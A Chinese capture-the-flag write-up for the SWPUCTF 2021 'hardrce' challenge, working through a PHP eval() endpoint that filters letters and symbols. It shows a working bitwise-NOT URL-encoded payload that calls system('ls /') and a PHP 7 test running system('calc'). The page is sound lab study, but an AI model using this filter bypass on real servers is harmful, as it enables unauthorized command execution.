[SWPUCTF 2021 新生赛]hardrce wp
参考博客：https://www.cnblogs.com/bkofyZ/p/17644820.html
代码审计
题目的代码如下：
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT说不能用这些奇奇怪怪的符号哦！");}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul说不能用字母哦！");
}
echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？";
eval($wllm);
}
else
{echo "蔡总说：注意审题！！！";
}
?> 蔡总说：注意审题！！！
其中设置了一个黑名单 $blacklist 过滤了许多字符；
此外 preg_match('/[a-zA-Z]/is',$wllm) 过滤了所有大小写字母。
无字母 RCE
首先推荐一篇博客：老生常谈的无字母数字 Webshell 总结 。
无字母数字绕过，就是把非字母数字的字符经过各种转换，变为数字和字母。
由于黑名单中 ’ $ ’ ， ’ ^ ‘，’ ` ’ ，’ " '等等都被过滤掉了，我觉得能用的只有取反了（可能还有其他的我没想到）。
取反绕过
构造一个 system('ls /') 要怎么做呢，先输出其取反后的字符串（要用 URL 编码），再取反。
看了好多博客，都是说对函数名和参数值分别取反再拼接，比如：
<?php
# 先对 system 取反，再编码
echo urlencode(~"system");
# 结果：%8C%86%8C%8B%9A%92# 换行
print("\r\n");# 再对 ls / 取反，再编码
echo urlencode(~"ls /");
# 结果：%93%8C%DF%D0
?>
最后做一个拼接：
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
那为什么取反之后就不会被过滤了呢，这是因为取反后基本上都是不可见字符(总之就是不在黑名单中啦)。
踩坑
但是令我很疑惑的是，为什么不能直接对整体取反呢，比如像下面那样：
<?php
echo urlencode(~"system('ls /')");
?>
得到的 payload 为：
(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);
我试过了，不行，但我不理解，直到看到了这篇博客：
web安全-PHP-url编码取反绕过正则-思考
我才理解了一点。
大致意思是，eval 函数在执行的时候，只有遇到 (func_name)() 这样形式的参数，才会把它当成函数执行，如果传入：
(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);
这样的，eval 识别不出它是一个函数，因此仅仅执行了取反操作。
另外还有一点我不理解，上面传入的 payload 在取反之后应该是这样子的才对：
eval("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);")
# eval 执行取反操作后
eval("('system')('ls /');")
('system')('ls /') 为什么能当成 system('ls /') 来执行呢？
这还要归结于 PHP7 的一个特性，PHP 7 中支持这种调用方法，即用 (func_name)() 这种形式来调用函数。
实践是检验真理的唯一标准，让我们把 PHP 版本调成 7.x.x ，并写好以下代码：
<?php
# 输出 PHP 版本号
echo phpversion();
echo ('system')('calc');
?>
访问此页面：
可以看到输出版本号为 7.3.4 ，并成功弹出计算器。
将 PHP 版本改为 5.x.x，再次访问：
报错。
事实上，此特性在 PHP7 中支持，而 PHP5 不支持。
如此看来，这种绕过方式还是有条件的。
